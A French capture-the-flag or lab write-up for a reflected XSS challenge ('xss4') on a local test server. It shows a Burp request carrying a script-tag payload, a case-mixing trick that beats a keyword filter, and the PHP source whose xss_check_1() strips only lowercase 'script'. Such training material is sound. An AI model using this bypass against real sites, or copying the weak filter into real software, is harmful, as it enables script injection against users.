xss4

Exploitation

Le quatrième challenge demande explicitement de tenter une injection en utilisant la balise <script></script> :

Une première protection que je rencontre est un contrôle du format de l'adresse email :

Un contournement en utilisant directement Burp est possible, mais ma payload ne semble pas fonctionner car le mot clé script est filtré :

POST /xss4/ HTTP/1.1
Host: localhost:9003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: http://localhost:9003
Connection: close
Referer: http://localhost:9003/xss4/

user_email=<script>alert(1)</script>&submit=Envoyer
HTTP/1.1 200 OK
Server: Apache/2.4.53 (Debian)
X-Powered-By: PHP/8.0.18
Content-Length: 2094
Connection: close
Content-Type: text/html; charset=UTF-8

<div class="row">
  <p style="color:red;" class="well">
    <strong></strong><>alert(1)</> is not registered.
  </p>
</div>

Ici il doit s'agir d'une protection de type pattern matching, je tente de le contourner en modifiant ma façon d'écrire la balise Javascript, soit <ScRiPT>alert(1)</sCRIpt> :

Analyse du code source

L'adresse email est récupéré dans la variable $email. Avant son affichage par la directive echo, un traitement est effectué par la méthode xss_check_1(). Cette méthode remplace le mot "script" par une chaîne de caractères vide mais sans faire attention à son format (minuscule, majuscule, répétition, etc) :

<?php
  if (isset ($_POST['submit']) && isset ($_POST['user_email'])) {
    $email = $_POST['user_email'];
  }

  function xss_check_1($data) {
    // Converts only "<" and ">" to HTLM entities
    $input = str_replace("script", "", $data);
    $input = urldecode($input);
    return $input;
  }
?>

<div class="row">
  <p style="color:red;" class="well">
    <strong></strong><?php echo xss_check_1($email); ?> is not registered.
  </p>
</div>

Dernière mise à jour